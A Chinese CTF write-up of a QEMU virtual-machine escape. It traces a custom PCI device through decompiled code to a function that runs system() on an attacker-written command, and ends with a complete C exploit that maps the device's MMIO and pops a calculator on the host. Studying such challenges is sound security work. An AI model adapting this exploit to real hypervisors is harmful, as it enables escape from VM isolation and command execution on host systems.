1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall sub_5713A8(__int64 a1)
{
__int64 result; // rax

result = sub_70031D(a1, "pci-device", "/home/wang/qemu/hw/misc/myrfid.c", 369LL, "rfid_class_init");
*(_QWORD *)(result + 176) = qxl_reset_handler;
*(_QWORD *)(result + 184) = 0LL;
*(_WORD *)(result + 208) = 0x420; [1] <<- vendor_id
*(_WORD *)(result + 210) = 0x1337; [2] <<- device_id
*(_BYTE *)(result + 212) = 0x69;
*(_WORD *)(result + 214) = 0xFF;
return result;
}

这个和源码对应关系如下

1
2
3
4
5
6
7
8
9
10
11
12
static void qxl_pci_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);

k->vendor_id = REDHAT_PCI_VENDOR_ID;
k->device_id = QXL_DEVICE_ID_STABLE;
set_bit(DEVICE_CATEGORY_DISPLAY, dc->categories);
dc->reset = qxl_reset_handler;
dc->vmsd = &qxl_vmstate;
device_class_set_props(dc, qxl_properties);
}

凭借着厂商 id 和设备 id 就能找到总线上的位置
登入进去看到总线

1
2
3
4
5
6
7
8
# lspci -nvv
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 0420:1337 [1] <<- 是这个b

然后可以看到内存中的位置✨TODO

1
2
3
4
5
6
7
# cat /sys/devices/pci0000\:00/0000:00:04.0/resource
0x00000000fb000000 0x00000000fbffffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
起始地址 终止地址 长度

注意
source 是给用户看的 而 resource0~10 之类的是给我们 open 的
source 就是整合了这些的表格

从 handler 跟下去
发现有一处调用了函数数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall sub_571043(__int64 a1, __int64 a2)
{
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
sub_570742(*(_QWORD *)(a1 + 120), 1LL);
if ( !(unsigned int)sub_5C950D(a1, 0LL, 1LL, 1LL, 0LL, a2) )
{
sub_570635(a1 + 2688, 1LL, sub_570A2E, a1);
sub_843CE1(a1 + 2520);
sub_843FBD(a1 + 2576);
sub_8449B4(a1 + 2512, "rfid", sub_570E7C, a1, 0LL);
sub_31B892(a1 + 2272, a1, func_array, a1, "rfid-mmio", &off_1000000); [1] <<- vuln
sub_5C1EF2(a1, 0LL, 0LL, a1 + 2272);
}
return __readfsqword(0x28u) ^ v3;
}

函数数组如下

1
2
.data.rel.ro:0000000000FE9720 func_array      dq offset vuln          ; DATA XREF: qxl_reset_handler+111↑o
.data.rel.ro:0000000000FE9728 dq offset sub_570CEB

其实这就是个 op 表 里面放的是 read write 之类的
源码如下

1
2
3
4
5
6
7
8
static const MemoryRegionOps qxl_io_ops = {
.read = ioport_read,
.write = ioport_write,
.valid = {
.min_access_size = 1,
.max_access_size = 1,
},
};

终于来到了漏洞函数
只要让这个变量 和他对应的秘籍相同即可

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall vuln(__int64 a1, unsigned __int64 a2)
{
size_t v2; // rax

if ( ((a2 >> 20) & 0xF) != 15 )
{
v2 = strlen(cheats);
if ( !memcmp(byte_122FFE0, cheats, v2) )
system(command);
}
return 270438LL;
}

根据这个变量可以往上 xref

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
_BYTE *__fastcall mmio_write(__int64 a1, unsigned __int64 dst, __int64 src, unsigned int num)
{
_BYTE *result; // rax
_DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF
unsigned __int64 v6; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
int v8; // [rsp+2Ch] [rbp-14h]
int idx; // [rsp+30h] [rbp-10h]
int v10; // [rsp+34h] [rbp-Ch]
__int64 v11; // [rsp+38h] [rbp-8h]

v7 = a1;
v6 = dst;
*(_QWORD *)&n[1] = src;
v11 = a1;
v8 = (dst >> 20) & 0xF;
idx = (dst >> 16) & 0xF;
result = (_BYTE *)((dst >> 20) & 0xF);
switch ( (unsigned __int64)result )
{
case 0uLL:
result = byteArray;
byteArray[idx] = 'w';
break;
case 1uLL:
result = byteArray;
byteArray[idx] = 's';
break;
case 2uLL:
result = byteArray;
byteArray[idx] = 'a';
break;
case 3uLL:
result = byteArray;
byteArray[idx] = 'd';
break;
case 4uLL:
result = byteArray;
byteArray[idx] = 'A';
break;
case 5uLL:
result = byteArray;
byteArray[idx] = 'B';
break;
case 6uLL:
v10 = (unsigned __int16)v6;
result = memcpy(&command[(unsigned __int16)v6], &n[1], num);
break;
default:
return result;
}
return result;
}

这正是函数数组的第二个成员

1
2
.data.rel.ro:0000000000FE9720 func_array      dq offset mmio_read     ; DATA XREF: qxl_reset_handler+111↑o
.data.rel.ro:0000000000FE9728 dq offset mmio_write

我们只需要往 cmd 里写入命令
然后写入秘籍
read 的时候就能命令执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>
#include "./head.h"
#include <stdint.h>
typedef uint64_t u64;
unsigned char *mmio_mem;
void mmio_read(u64 dst){
assert(dst + mmio_mem > mmio_mem);
u64 ret = *((u64 *)(mmio_mem + dst));
Done("mmio_read");
return ret;
}
// qemu中并没有真的对qemu的的内存读写
// 作为参数传递给qemu的write
void mmio_write(u64 cho, u64 idx, char chr){
u64 dst = ((cho & 0xf) << 20);
u64 val = 0;
dst |= ((idx & 0xf) << 16);
Info("dst is %d", dst);
if(cho == 6){
val = chr;
dst = idx;
dst |= ((cho & 0xf) << 20);
}
*((u64 *)(mmio_mem + dst)) = val;
Done("mmio_write");
}

void write_cheats(){
// aWwssadadbaba
mmio_write(0,0,0);
mmio_write(0,1,0);
mmio_write(1,2,0);
mmio_write(1,3,0);
mmio_write(2,4,0);
mmio_write(3,5,0);
mmio_write(2,6,0);
mmio_write(3,7,0);
mmio_write(5,8,0);
mmio_write(4,9,0);
mmio_write(5,10,0);
mmio_write(4,11,0);
Done("write_cheats");
}
void write_cmd(char *cmd){
for(int i = 0; i < strlen(cmd); i++)
mmio_write(6, i, cmd[i]);
}

int main(){
int mmio_fd = open(
"/sys/devices/pci0000:00/0000:00:04.0/resource0",
O_RDWR | O_SYNC
);
mmio_mem = mmap(
0, 0x1000000,
PROT_WRITE | PROT_READ,
MAP_SHARED, mmio_fd, 0
);
if(mmio_mem == MAP_FAILED)
Abort("mmap");
Info("mmio_mem is 0x%lx", mmio_mem);
write_cheats();
write_cmd("xcalc");// gnome-calculator 也行
mmio_read((1 << 20));
}